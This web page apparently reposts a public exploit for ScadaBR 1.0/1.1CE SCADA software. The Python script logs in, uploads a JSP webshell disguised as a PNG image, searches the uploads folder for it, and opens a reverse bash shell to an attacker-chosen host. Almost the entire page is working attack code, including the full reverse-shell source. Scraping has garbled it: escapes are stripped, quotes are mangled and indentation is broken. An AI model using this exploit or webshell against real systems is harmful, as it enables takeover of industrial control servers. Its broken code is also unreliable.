ScadaBR 1.0 – Arbitrary File Upload (Authenticated) (2) – Digitalmunition




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Published on April 1st, 2021 📆 | 2670 Views ⚑

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ScadaBR 1.0 – Arbitrary File Upload (Authenticated) (2)

# Exploit Title: ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (2)
# Date: 04/21
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.scadabr.com.br/ 
# Version: ScadaBR 1.0, ScadaBR 1.1CE and ScadaBR 1.0 for Linux
# Tested on: Debian9,10~Ubuntu16.04

#!/usr/bin/python

import requests,sys,time


if len(sys.argv) < =6:
    print('[x] Missing arguments ... ')
    print('[>] Usage: python LinScada_RCE.py      ')
    print('[>] Example: python LinScada_RCE.py 192.168.1.24 8080 admin admin 192.168.1.50 4444')
    sys.exit(0)
else:   
    time.sleep(1)

host = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
passw = sys.argv[4]
rev_host = sys.argv[5]
rev_port = sys.argv[6]

flag = False
LOGIN = 'http://'+host+':'+port+'/ScadaBR/login.htm'
PROTECTED_PAGE = 'http://'+host+':'+port+'/ScadaBR/view_edit.shtm'


banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
|    _________                  .___     ____________________       |
|   /   _____/ ____ _____     __| _/____ ______   ______         |
|   _____  _/ ___\__     / __ |__   |    |  _/|       _/       |
|   /          ___ / __ _/ /_/ | / __ |    |   |    |         |
|  /_______  /___  >____  /____ |(____  /______  /|____|_  /      |
|          /     /     /      /     /       /        /       |
|                                                                   |
|    > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload   |
|    > Exploit Author : Fellipe Oliveira                            |
|    > Exploit for Linux Systems                                    |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
'''

def main():
    payload = {
        'username': user,
        'password': passw
    }

    print(banner)
    time.sleep(2)
   
    with requests.session() as s:
        s.post(LOGIN, data=payload)
	response = s.get(PROTECTED_PAGE)

        print "[+] Trying to authenticate "+LOGIN+"..."
	if response.status_code == 200:
	    print "[+] Successfully authenticated! :D~n"
	    time.sleep(2)
	else:
	    print "[x] Authentication failed :("
            sys.exit(0)


        burp0_url = "http://"+host+":"+port+"/ScadaBR/view_edit.shtm"
	burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"}
	burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------32124376735876620811763441977", "Origin": "http://"+host+":"+port+"/", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/view_edit.shtm", "Upgrade-Insecure-Requests": "1"}
	burp0_data = "-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="view.name"rnrnrn-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="view.xid"rnrnGV_369755rn-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="backgroundImageMP"; filename="webshell.jsp"rnContent-Type: image/pngrnrn < %@page import="java.lang.*"%>n< %@page import="java.util.*"%>n< %@page import="java.io.*"%>n< %@page import="java.net.*"%>nn< %nclass StreamConnector extends Thread {n    InputStream is;n    OutputStream os;n    StreamConnector(InputStream is, OutputStream os) {n        this.is = is;n        this.os = os;n    }n    public void run() {n        BufferedReader isr = null;n        BufferedWriter osw = null;n        try {n            isr = new BufferedReader(new InputStreamReader(is));n            osw = new BufferedWriter(new OutputStreamWriter(os));n            char buffer[] = new char[8192];n            int lenRead;n            while ((lenRead = isr.read(buffer, 0, buffer.length)) > 0) {n                osw.write(buffer, 0, lenRead);n                osw.flush();n            }n        } catch (Exception e) {n            System.out.println("exception: " + e.getMessage());n        }n        try {n            if (isr != null)n                isr.close();n            if (osw != null)n                osw.close();n        } catch (Exception e) {n            System.out.println("exception: " + e.getMessage());n        }n    }n}n%>nn

Payload JSP to Reverse Shell

n

Run nc -l 1234 on your client (127.0.0.1) and click Connect. This JSP will start a bash shell and connect it to your nc process

n
ntIP AddressntPortntn
nn< %n String ipAddress = request.getParameter("ipaddress");n String ipPort = request.getParameter("port");n Socket sock = null;n Process proc = null;n if (ipAddress != null && ipPort != null) {n try {n sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());n System.out.println("socket created: " + sock.toString());n Runtime rt = Runtime.getRuntime();n proc = rt.exec("/bin/bash");n System.out.println("process /bin/bash started: " + proc.toString());n StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream());n System.out.println("outputConnector created: " + outputConnector.toString());n StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream());n System.out.println("inputConnector created: " + inputConnector.toString());n outputConnector.start();n inputConnector.start();n } catch (Exception e) {n System.out.println("exception: " + e.getMessage());n }n }n if (sock != null && proc != null) {n out.println("

“);n out.println(“

Process /bin/bash, running as (” + proc.toString() + “, is connected to socket ” + sock.toString() + “.

“);n }n%>nnrn—————————–32124376735876620811763441977rnContent-Disposition: form-data; name=”upload”rnrnUpload imagern—————————–32124376735876620811763441977rnContent-Disposition: form-data; name=”view.anonymousAccess”rnrn0rn—————————–32124376735876620811763441977–rn”
getdata = s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

print(‘[>] Attempting to upload .jsp Webshell…’)
time.sleep(1)
print(‘[>] Verifying shell upload…n’)
time.sleep(2)

if getdata.status_code == 200:
print(‘[+] Upload Successfuly! n’)

for num in range(1,1000):
PATH = ‘http://’+host+’:’+port+’/ScadaBR/uploads/%d.jsp’ % (num)
find = s.get(PATH)

if find.status_code == 200:
print(‘[+] Webshell Found in: http://’+host+’:’+port+’/ScadaBR/uploads/%d.jsp’ % (num))
print(‘[>] Spawning Reverse Shell…n’)
time.sleep(3)

burp0_url = “http://”+host+”:”+port+”/ScadaBR/uploads/%d.jsp?ipaddress=%s&port=%s&Connect=Connect” % (num,rev_host,rev_port)
burp0_cookies = {“JSESSIONID”: “8DF449C72D2F70704B8D997971B4A06B”}
burp0_headers = {“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”, “Accept-Language”: “en-US,en;q=0.5”, “Accept-Encoding”: “gzip, deflate”, “Connection”: “close”, “Upgrade-Insecure-Requests”: “1”}
r = s.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
time.sleep(5)

if len(r.text) > 401:
print(‘[+] Connection received’)
sys.exit(0)
else:
print(‘[x] Failed to receive reverse connection …n’)

elif num == 999:
print(‘[x] Failed to found Webshell … ‘)

else:
print(‘Reason:’+getdata.reason+’ ‘)
print(‘Exploit Failed x_x’)

if __name__ == ‘__main__’:
main()

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